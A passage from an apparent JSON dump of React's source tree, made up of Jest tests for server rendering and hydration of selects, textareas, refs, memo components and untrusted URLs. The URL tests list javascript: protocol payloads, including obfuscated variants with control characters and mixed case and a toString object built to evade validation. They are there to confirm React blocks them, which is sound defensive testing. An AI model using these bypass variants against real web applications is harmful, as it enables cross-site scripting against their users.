/>\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <div />\n            <div />\n          </div>,\n        ));\n\n      it('can not ignore reconnecting fewer children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n            <div />\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <div />\n          </div>,\n        ));\n\n      it('can not ignore reconnecting reordered children', () =>\n        expectMarkupMismatch(\n          <div suppressHydrationWarning={true}>\n            <div />\n            <span />\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <span />\n            <div />\n          </div>,\n        ));\n\n      it('can not deeply ignore reconnecting reordered children', () =>\n        expectMarkupMismatch(\n          <div suppressHydrationWarning={true}>\n            <div>\n              <div />\n              <span />\n            </div>\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <div>\n              <span />\n              <div />\n            </div>\n          </div>,\n        ));\n    });\n\n    // Markup Mismatches: misc\n    it('should error reconnecting a div with different dangerouslySetInnerHTML', () =>\n      expectMarkupMismatch(\n        <div dangerouslySetInnerHTML={{__html: \"<span id='child1'/>\"}} />,\n        <div dangerouslySetInnerHTML={{__html: \"<span id='child2'/>\"}} />,\n      ));\n\n    it('should error reconnecting a div with different text dangerouslySetInnerHTML', () =>\n      expectMarkupMismatch(\n        <div dangerouslySetInnerHTML={{__html: 'foo'}} />,\n        <div dangerouslySetInnerHTML={{__html: 'bar'}} />,\n      ));\n\n    it('should error reconnecting a div with different number dangerouslySetInnerHTML', () =>\n      expectMarkupMismatch(\n        <div dangerouslySetInnerHTML={{__html: 10}} />,\n        <div dangerouslySetInnerHTML={{__html: 20}} />,\n      ));\n\n    it('should error reconnecting a div with different object dangerouslySetInnerHTML', () =>\n      expectMarkupMismatch(\n        <div\n          dangerouslySetInnerHTML={{\n            __html: {\n              toString() {\n                return 'hi';\n              },\n            },\n          }}\n        />,\n        <div\n          dangerouslySetInnerHTML={{\n            __html: {\n              toString() {\n                return 'bye';\n              },\n            },\n          }}\n        />,\n      ));\n\n    it('can explicitly ignore reconnecting a div with different dangerouslySetInnerHTML', () =>\n      expectMarkupMatch(\n        <div dangerouslySetInnerHTML={{__html: \"<span id='child1'/>\"}} />,\n        <div\n          dangerouslySetInnerHTML={{__html: \"<span id='child2'/>\"}}\n          suppressHydrationWarning={true}\n        />,\n      ));\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationRefs-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, clientRenderOnServerString, expectMarkupMatch} =\n  ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('refs', function () {\n    it('should not run ref code on server', async () => {\n      let refCount = 0;\n      class RefsComponent extends React.Component {\n        render() {\n          return <div ref={e => refCount++} />;\n        }\n      }\n      await expectMarkupMatch(<RefsComponent />, <div />);\n      expect(refCount).toBe(0);\n    });\n\n    it('should run ref code on client', async () => {\n      let refCount = 0;\n      class RefsComponent extends React.Component {\n        render() {\n          return <div ref={e => refCount++} />;\n        }\n      }\n      await expectMarkupMatch(<div />, <RefsComponent />);\n      expect(refCount).toBe(1);\n    });\n\n    it('should send the correct element to ref functions on client', async () => {\n      let refElement = null;\n      class RefsComponent extends React.Component {\n        render() {\n          return <div ref={e => (refElement = e)} />;\n        }\n      }\n      const e = await clientRenderOnServerString(<RefsComponent />);\n      expect(refElement).not.toBe(null);\n      expect(refElement).toBe(e);\n    });\n  });\n\n  it('should forward refs', async () => {\n    const divRef = React.createRef();\n\n    class InnerComponent extends React.Component {\n      render() {\n        return <div ref={this.props.forwardedRef}>{this.props.value}</div>;\n      }\n    }\n\n    const OuterComponent = React.forwardRef((props, ref) => (\n      <InnerComponent {...props} forwardedRef={ref} />\n    ));\n\n    await clientRenderOnServerString(\n      <OuterComponent ref={divRef} value=\"hello\" />,\n    );\n\n    expect(divRef.current).not.toBe(null);\n    expect(divRef.current.textContent).toBe('hello');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationSelect-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders, itThrowsWhenRendering} =\n  ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegrationSelect', () => {\n  let options;\n  beforeEach(() => {\n    resetModules();\n\n    options = [\n      <option key={1} value=\"foo\" id=\"foo\">\n        Foo\n      </option>,\n      <option key={2} value=\"bar\" id=\"bar\">\n        Bar\n      </option>,\n      <option key={3} value=\"baz\" id=\"baz\">\n        Baz\n      </option>,\n    ];\n  });\n\n  // a helper function to test the selected value of a <select> element.\n  // takes in a <select> DOM element (element) and a value or array of\n  // values that should be selected (selected).\n  const expectSelectValue = (element, selected) => {\n    if (!Array.isArray(selected)) {\n      selected = [selected];\n    }\n    // the select DOM element shouldn't ever have a value or defaultValue\n    // attribute; that is not how select values are expressed in the DOM.\n    expect(element.getAttribute('value')).toBe(null);\n    expect(element.getAttribute('defaultValue')).toBe(null);\n\n    ['foo', 'bar', 'baz'].forEach(value => {\n      const expectedValue = selected.indexOf(value) !== -1;\n      const option = element.querySelector(`#${value}`);\n      expect(option.selected).toBe(expectedValue);\n    });\n  };\n\n  itRenders('a select with a value and an onChange', async render => {\n    const e = await render(\n      <select value=\"bar\" onChange={() => {}}>\n        {options}\n      </select>,\n    );\n    expectSelectValue(e, 'bar');\n  });\n\n  itRenders('a select with a value and readOnly', async render => {\n    const e = await render(\n      <select value=\"bar\" readOnly={true}>\n        {options}\n      </select>,\n    );\n    expectSelectValue(e, 'bar');\n  });\n\n  itRenders('a select with a multiple values and an onChange', async render => {\n    const e = await render(\n      <select value={['bar', 'baz']} multiple={true} onChange={() => {}}>\n        {options}\n      </select>,\n    );\n    expectSelectValue(e, ['bar', 'baz']);\n  });\n\n  itRenders('a select with a multiple values and readOnly', async render => {\n    const e = await render(\n      <select value={['bar', 'baz']} multiple={true} readOnly={true}>\n        {options}\n      </select>,\n    );\n    expectSelectValue(e, ['bar', 'baz']);\n  });\n\n  itRenders('a select with a value and no onChange/readOnly', async render => {\n    // this configuration should raise a dev warning that value without\n    // onChange or readOnly is a mistake.\n    const e = await render(<select value=\"bar\">{options}</select>, 1);\n    expectSelectValue(e, 'bar');\n  });\n\n  itRenders('a select with a defaultValue', async render => {\n    const e = await render(<select defaultValue=\"bar\">{options}</select>);\n    expectSelectValue(e, 'bar');\n  });\n\n  itRenders('a select value overriding defaultValue', async render => {\n    const e = await render(\n      <select value=\"bar\" defaultValue=\"baz\" readOnly={true}>\n        {options}\n      </select>,\n      1,\n    );\n    expectSelectValue(e, 'bar');\n  });\n\n  itRenders(\n    'a select with options that use dangerouslySetInnerHTML',\n    async render => {\n      const e = await render(\n        <select defaultValue=\"baz\" value=\"bar\" readOnly={true}>\n          <option\n            id=\"foo\"\n            value=\"foo\"\n            dangerouslySetInnerHTML={{\n              __html: 'Foo',\n            }}>\n            {undefined}\n          </option>\n          <option\n            id=\"bar\"\n            value=\"bar\"\n            dangerouslySetInnerHTML={{\n              __html: 'Bar',\n            }}>\n            {null}\n          </option>\n          <option\n            id=\"baz\"\n            dangerouslySetInnerHTML={{\n              __html: 'Baz', // This warns because no value prop is passed.\n            }}\n          />\n        </select>,\n        2,\n      );\n      expectSelectValue(e, 'bar');\n    },\n  );\n\n  itThrowsWhenRendering(\n    'a select with option that uses dangerouslySetInnerHTML and 0 as child',\n    async render => {\n      await render(\n        <select defaultValue=\"baz\" value=\"foo\" readOnly={true}>\n          <option\n            id=\"foo\"\n            value=\"foo\"\n            dangerouslySetInnerHTML={{\n              __html: 'Foo',\n            }}>\n            {0}\n          </option>\n        </select>,\n        1,\n      );\n    },\n    'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n  );\n\n  itThrowsWhenRendering(\n    'a select with option that uses dangerouslySetInnerHTML and empty string as child',\n    async render => {\n      await render(\n        <select defaultValue=\"baz\" value=\"foo\" readOnly={true}>\n          <option\n            id=\"foo\"\n            value=\"foo\"\n            dangerouslySetInnerHTML={{\n              __html: 'Foo',\n            }}>\n            {''}\n          </option>\n        </select>,\n        1,\n      );\n    },\n    'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n  );\n\n  itRenders(\n    'a select value overriding defaultValue no matter the prop order',\n    async render => {\n      const e = await render(\n        <select defaultValue=\"baz\" value=\"bar\" readOnly={true}>\n          {options}\n        </select>,\n        1,\n      );\n      expectSelectValue(e, 'bar');\n    },\n  );\n\n  itRenders('a select option with flattened children', async render => {\n    const e = await render(\n      <select value=\"bar\" readOnly={true}>\n        <option value=\"bar\">\n          A {'B'} {5n}\n        </option>\n      </select>,\n    );\n    const option = e.options[0];\n    expect(option.textContent).toBe('A B 5');\n    expect(option.value).toBe('bar');\n    expect(option.selected).toBe(true);\n  });\n\n  itRenders(\n    'a select option with flattened children no value',\n    async render => {\n      const e = await render(\n        <select value=\"A B\" readOnly={true}>\n          <option>A {'B'}</option>\n        </select>,\n      );\n      const option = e.options[0];\n      expect(option.textContent).toBe('A B');\n      expect(option.value).toBe('A B');\n      expect(option.selected).toBe(true);\n    },\n  );\n\n  itRenders(\n    'a boolean true select value match the string \"true\"',\n    async render => {\n      const e = await render(\n        <select value={true} readOnly={true}>\n          <option value=\"first\">First</option>\n          <option value=\"true\">True</option>\n        </select>,\n      );\n      expect(e.firstChild.selected).toBe(false);\n      expect(e.lastChild.selected).toBe(true);\n    },\n  );\n\n  itRenders(\n    'a missing select value does not match the string \"undefined\"',\n    async render => {\n      const e = await render(\n        <select readOnly={true}>\n          <option value=\"first\">First</option>\n          <option value=\"undefined\">Undefined</option>\n        </select>,\n      );\n      expect(e.firstChild.selected).toBe(true);\n      expect(e.lastChild.selected).toBe(false);\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationSpecialTypes-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet forwardRef;\nlet memo;\nlet yieldedValues;\nlet log;\nlet clearLog;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n  forwardRef = React.forwardRef;\n  memo = React.memo;\n\n  yieldedValues = [];\n  log = value => {\n    yieldedValues.push(value);\n  };\n  clearLog = () => {\n    const ret = yieldedValues;\n    yieldedValues = [];\n    return ret;\n  };\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('a forwardedRef component and its children', async render => {\n    const FunctionComponent = ({label, forwardedRef}) => (\n      <div ref={forwardedRef}>{label}</div>\n    );\n    const WrappedFunctionComponent = forwardRef((props, ref) => (\n      <FunctionComponent {...props} forwardedRef={ref} />\n    ));\n\n    const ref = React.createRef();\n    const element = await render(\n      <WrappedFunctionComponent ref={ref} label=\"Test\" />,\n    );\n    const parent = element.parentNode;\n    const div = parent.childNodes[0];\n    expect(div.tagName).toBe('DIV');\n    expect(div.textContent).toBe('Test');\n  });\n\n  itRenders('a Profiler component and its children', async render => {\n    const element = await render(\n      <React.Profiler id=\"profiler\" onRender={jest.fn()}>\n        <div>Test</div>\n      </React.Profiler>,\n    );\n    const parent = element.parentNode;\n    const div = parent.childNodes[0];\n    expect(div.tagName).toBe('DIV');\n    expect(div.textContent).toBe('Test');\n  });\n\n  describe('memoized function components', () => {\n    beforeEach(() => {\n      resetModules();\n    });\n\n    function Text({text}) {\n      log(text);\n      return <span>{text}</span>;\n    }\n\n    function Counter({count}) {\n      return <Text text={'Count: ' + count} />;\n    }\n\n    itRenders('basic render', async render => {\n      const MemoCounter = memo(Counter);\n      const domNode = await render(<MemoCounter count={0} />);\n      expect(domNode.textContent).toEqual('Count: 0');\n    });\n\n    itRenders('composition with forwardRef', async render => {\n      const RefCounter = (props, ref) => <Counter count={ref.current} />;\n      const MemoRefCounter = memo(forwardRef(RefCounter));\n\n      const ref = React.createRef();\n      ref.current = 0;\n      await render(<MemoRefCounter ref={ref} />);\n\n      expect(clearLog()).toEqual(['Count: 0']);\n    });\n\n    itRenders('with comparator', async render => {\n      const MemoCounter = memo(Counter, (oldProps, newProps) => false);\n      await render(<MemoCounter count={0} />);\n      expect(clearLog()).toEqual(['Count: 0']);\n    });\n\n    itRenders(\n      'comparator functions are not invoked on the server',\n      async render => {\n        const MemoCounter = React.memo(Counter, (oldProps, newProps) => {\n          log(`Old count: ${oldProps.count}, New count: ${newProps.count}`);\n          return oldProps.count === newProps.count;\n        });\n\n        await render(<MemoCounter count={0} />);\n        expect(clearLog()).toEqual(['Count: 0']);\n      },\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationTextarea-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegrationTextarea', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  // textareas\n  // ---------\n  itRenders('a textarea with a value and an onChange', async render => {\n    const e = await render(<textarea value=\"foo\" onChange={() => {}} />);\n    // textarea DOM elements don't have a value **attribute**, the text is\n    // a child of the element and accessible via the .value **property**.\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders('a textarea with a bigint value and an onChange', async render => {\n    const e = await render(<textarea value={5n} onChange={() => {}} />);\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.value).toBe('5');\n  });\n\n  itRenders('a textarea with a value of undefined', async render => {\n    const e = await render(<textarea value={undefined} />);\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.value).toBe('');\n  });\n  itRenders('a textarea with a value and readOnly', async render => {\n    const e = await render(<textarea value=\"foo\" readOnly={true} />);\n    // textarea DOM elements don't have a value **attribute**, the text is\n    // a child of the element and accessible via the .value **property**.\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders(\n    'a textarea with a value and no onChange/readOnly',\n    async render => {\n      // this configuration should raise a dev warning that value without\n      // onChange or readOnly is a mistake.\n      const e = await render(<textarea value=\"foo\" />, 1);\n      expect(e.getAttribute('value')).toBe(null);\n      expect(e.value).toBe('foo');\n    },\n  );\n\n  itRenders('a textarea with a defaultValue', async render => {\n    const e = await render(<textarea defaultValue=\"foo\" />);\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.getAttribute('defaultValue')).toBe(null);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders('a textarea value overriding defaultValue', async render => {\n    const e = await render(\n      <textarea value=\"foo\" defaultValue=\"bar\" readOnly={true} />,\n      1,\n    );\n    expect(e.getAttribute('value')).toBe(null);\n    expect(e.getAttribute('defaultValue')).toBe(null);\n    expect(e.value).toBe('foo');\n  });\n\n  itRenders(\n    'a textarea value overriding defaultValue no matter the prop order',\n    async render => {\n      const e = await render(\n        <textarea defaultValue=\"bar\" value=\"foo\" readOnly={true} />,\n        1,\n      );\n      expect(e.getAttribute('value')).toBe(null);\n      expect(e.getAttribute('defaultValue')).toBe(null);\n      expect(e.value).toBe('foo');\n    },\n  );\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationUntrustedURL-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n/* eslint-disable no-script-url */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet act;\n\nconst EXPECTED_SAFE_URL =\n  \"javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')\";\n\ndescribe('ReactDOMServerIntegration - Untrusted URLs', () => {\n  function initModules() {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    act = require('internal-test-utils').act;\n\n    // Make them available to the helpers.\n    return {\n      ReactDOMClient,\n      ReactDOMServer,\n    };\n  }\n\n  const {\n    resetModules,\n    itRenders,\n    clientCleanRender,\n    clientRenderOnBadMarkup,\n    clientRenderOnServerString,\n  } = ReactDOMServerIntegrationUtils(initModules);\n\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('a http link with the word javascript in it', async render => {\n    const e = await render(\n      <a href=\"http://javascript:0/thisisfine\">Click me</a>,\n    );\n    expect(e.tagName).toBe('A');\n    expect(e.href).toBe('http://javascript:0/thisisfine');\n  });\n\n  itRenders('a javascript protocol href', async render => {\n    // Only the first one warns. The second warning is deduped.\n    const e = await render(\n      <div>\n        <a href=\"javascript:notfine\">p0wned</a>\n        <a href=\"javascript:notfineagain\">p0wned again</a>\n      </div>,\n    );\n    expect(e.firstChild.href).toBe(EXPECTED_SAFE_URL);\n    expect(e.lastChild.href).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('sanitizes on various tags', async render => {\n    const aElement = await render(<a href=\"javascript:notfine\" />);\n    expect(aElement.href).toBe(EXPECTED_SAFE_URL);\n\n    const objectElement = await render(<object data=\"javascript:notfine\" />);\n    expect(objectElement.data).toBe(EXPECTED_SAFE_URL);\n\n    const embedElement = await render(<embed src=\"javascript:notfine\" />);\n    expect(embedElement.src).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('passes through data on non-object tags', async render => {\n    const div = await render(<div data=\"test\" />);\n    expect(div.getAttribute('data')).toBe('test');\n\n    const a = await render(<a data=\"javascript:fine\" />);\n    expect(a.getAttribute('data')).toBe('javascript:fine');\n  });\n\n  itRenders('a javascript protocol with leading spaces', async render => {\n    const e = await render(\n      <a href={'  \\t \\u0000\\u001F\\u0003javascript\\n: notfine'}>p0wned</a>,\n    );\n    // We use an approximate comparison here because JSDOM might not parse\n    // \\u0000 in HTML properly.\n    expect(e.href).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders(\n    'a javascript protocol with intermediate new lines and mixed casing',\n    async render => {\n      const e = await render(\n        <a href={'\\t\\r\\n Jav\\rasCr\\r\\niP\\t\\n\\rt\\n:notfine'}>p0wned</a>,\n      );\n      expect(e.href).toBe(EXPECTED_SAFE_URL);\n    },\n  );\n\n  itRenders('a javascript protocol area href', async render => {\n    const e = await render(\n      <map>\n        <area href=\"javascript:notfine\" />\n      </map>,\n    );\n    expect(e.firstChild.href).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol form action', async render => {\n    const e = await render(<form action=\"javascript:notfine\">p0wned</form>);\n    expect(e.action).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol input formAction', async render => {\n    const e = await render(\n      <input type=\"submit\" formAction=\"javascript:notfine\" />,\n    );\n    expect(e.getAttribute('formAction')).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol button formAction', async render => {\n    const e = await render(\n      <button formAction=\"javascript:notfine\">p0wned</button>,\n    );\n    expect(e.getAttribute('formAction')).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol iframe src', async render => {\n    const e = await render(<iframe src=\"javascript:notfine\" />);\n    expect(e.src).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol frame src', async render => {\n    if (render === clientCleanRender || render === clientRenderOnServerString) {\n      // React does not hydrate framesets properly because the default hydration scope\n      // is the body\n      return;\n    }\n    const e = await render(\n      <html>\n        <head />\n        <frameset>\n          <frame src=\"javascript:notfine\" />\n        </frameset>\n      </html>,\n    );\n    expect(e.lastChild.firstChild.src).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('a javascript protocol in an SVG link', async render => {\n    const e = await render(\n      <svg>\n        <a href=\"javascript:notfine\" />\n      </svg>,\n    );\n    expect(e.firstChild.getAttribute('href')).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders(\n    'a javascript protocol in an SVG link with a namespace',\n    async render => {\n      const e = await render(\n        <svg>\n          <a xlinkHref=\"javascript:notfine\" />\n        </svg>,\n      );\n      expect(\n        e.firstChild.getAttributeNS('http://www.w3.org/1999/xlink', 'href'),\n      ).toBe(EXPECTED_SAFE_URL);\n    },\n  );\n\n  it('rejects a javascript protocol href if it is added during an update', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<a href=\"http://thisisfine/\">click me</a>);\n    });\n    expect(container.firstChild.href).toBe('http://thisisfine/');\n    await act(() => {\n      root.render(<a href=\"javascript:notfine\">click me</a>);\n    });\n    expect(container.firstChild.href).toBe(EXPECTED_SAFE_URL);\n  });\n\n  itRenders('only the first invocation of toString', async render => {\n    let expectedToStringCalls = 1;\n    if (render === clientRenderOnBadMarkup) {\n      // It gets called once on the server and once on the client\n      // which happens to share the same object in our test runner.\n      expectedToStringCalls = 2;\n    }\n    if (render === clientRenderOnServerString && __DEV__) {\n      // The hydration validation calls it one extra time.\n      // TODO: It would be good if we only called toString once for\n      // consistency but the code structure makes that hard right now.\n      expectedToStringCalls = 4;\n    } else if (__DEV__) {\n      // Checking for string coercion problems results in double the\n      // toString calls in DEV\n      expectedToStringCalls *= 2;\n    }\n\n    if (gate('enableTrustedTypesIntegration') && render === clientCleanRender) {\n      // Trusted types does another toString.\n      expectedToStringCalls += 1;\n    }\n\n    let toStringCalls = 0;\n    const firstIsSafe = {\n      toString() {\n        // This tries to avoid the validation by pretending to be safe\n        // the first times it is called and then becomes dangerous.\n        toStringCalls++;\n        if (toStringCalls <= expectedToStringCalls) {\n          return 'https://reactjs.org/';\n        }\n        return 'javascript:notfine';\n      },\n    };\n\n    const e = await render(<a href={firstIsSafe} />);\n    expect(toStringCalls).toBe(expectedToStringCalls);\n    expect(e.href).toBe('https://reactjs.org/');\n  });\n\n  it('rejects a javascript protocol href if it is added during an update twice', async () => {\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(async () => {\n      root.render(<a href=\"http://thisisfine/\">click me</a>);\n    });\n    expect(container.firstChild.href).toBe('http://thisisfine/');\n    await act(async () => {\n      root.render(<a href=\"javascript:notfine\">click me</a>);\n    });\n    expect(container.firstChild.href).toBe(EXPECTED_SAFE_URL);\n    // The second update ensures that a global flag hasn't been added to the regex\n    // which would fail to match the second time it is called.\n    await act(async () => {\n      root.render(<a href=\"javascript:notfine\">click me</a>);\n    });\n    expect(container.firstChild.href).toBe(EXPECTED_SAFE_URL);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationUserInteraction-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itClientRenders, renderIntoDom, serverRender} =\n  ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegrationUserInteraction', () => {\n  let ControlledInput, ControlledTextArea, ControlledCheckbox, ControlledSelect;\n\n  beforeEach(() => {\n    resetModules();\n    ControlledInput = class extends React.Component {\n      static defaultProps = {\n        type: 'text',\n        initialValue: 'Hello',\n      };\n      constructor() {\n        super(...arguments);\n        this.state = {value: this.props.initialValue};\n      }\n      handleChange(event) {\n        if (this.props.onChange) {\n          this.props.onChange(event);\n        }\n        this.setState({value: event.target.value});\n      }\n      componentDidMount() {\n        if (this.props.cascade) {\n          // Trigger a cascading render immediately upon hydration which rerenders the input.\n          this.setState({cascade: true});\n        }\n      }\n      render() {\n        return (\n          <input\n            type={this.props.type}\n            value={this.state.value}\n            onChange={this.handleChange.bind(this)}\n          />\n        );\n      }\n    };\n    ControlledTextArea = class extends React.Component {\n      constructor() {\n        super();\n        this.state = {value: 'Hello'};\n      }\n      handleChange(event) {\n        if (this.props.onChange) {\n          this.props.onChange(event);\n        }\n        this.setState({value: event.target.value});\n      }\n      componentDidMount() {\n        if (this.props.cascade) {\n          // Trigger a cascading render immediately upon hydration which rerenders the textarea.\n          this.setState({cascade: true});\n        }\n      }\n      render() {\n        return (\n          <textarea\n            value={this.state.value}\n            onChange={this.handleChange.bind(this)}\n          />\n        );\n      }\n    };\n    ControlledCheckbox = class extends React.Component {\n      constructor() {\n        super();\n        this.state = {value: true};\n      }\n      handleChange(event) {\n        if (this.props.onChange) {\n          this.props.onChange(event);\n        }\n        this.setState({value: event.target.checked});\n      }\n      componentDidMount() {\n        if (this.props.cascade) {\n          // Trigger a cascading render immediately upon hydration which rerenders the checkbox.\n          this.setState({cascade: true});\n        }\n      }\n      render() {\n        return (\n          <input\n            type=\"checkbox\"\n            checked={this.state.value}\n            onChange={this.handleChange.bind(this)}\n          />\n        );\n      }\n    };\n    ControlledSelect = class extends React.Component {\n      constructor() {\n        super();\n        this.state = {value: 'Hello'};\n      }\n      handleChange(event) {\n        if (this.props.onChange) {\n          this.props.onChange(event);\n        }\n        this.setState({value: event.target.value});\n      }\n      componentDidMount() {\n        if (this.props.cascade) {\n          // Trigger a cascading render immediately upon hydration which rerenders the select.\n          this.setState({cascade: true});\n        }\n      }\n      render() {\n        return (\n          <select\n            value={this.state.value}\n            onChange={this.handleChange.bind(this)}>\n            <option key=\"1\" value=\"Hello\">\n              Hello\n            </option>\n            <option key=\"2\" value=\"Goodbye\">\n              Goodbye\n            </option>\n          </select>\n        );\n      }\n    };\n  });\n\n  describe('user interaction with controlled inputs', function () {\n    itClientRenders('a controlled text input', async render => {\n      const setUntrackedValue = Object.getOwnPropertyDescriptor(\n        HTMLInputElement.prototype,\n        'value',\n      ).set;\n\n      let changeCount = 0;\n      const e = await render(\n        <ControlledInput onChange={() => changeCount++} />,\n      );\n      const container = e.parentNode;\n      document.body.appendChild(container);\n\n      try {\n        expect(changeCount).toBe(0);\n        expect(e.value).toBe('Hello');\n\n        // simulate a user typing.\n        setUntrackedValue.call(e, 'Goodbye');\n        e.dispatchEvent(new Event('input', {bubbles: true, cancelable: false}));\n\n        expect(changeCount).toBe(1);\n        expect(e.value).toBe('Goodbye');\n      } finally {\n        document.body.removeChild(container);\n      }\n    });\n\n    itClientRenders('a controlled textarea', async render => {\n      const setUntrackedValue = Object.getOwnPropertyDescriptor(\n        HTMLTextAreaElement.prototype,\n        'value',\n      ).set;\n\n      let changeCount = 0;\n      const e = await render(\n        <ControlledTextArea onChange={() => changeCount++} />,\n      );\n      const container = e.parentNode;\n      document.body.appendChild(container);\n\n      try {\n        expect(changeCount).toBe(0);\n        expect(e.value).toBe('Hello');\n\n        // simulate a user typing.\n        setUntrackedValue.call(e, 'Goodbye');\n        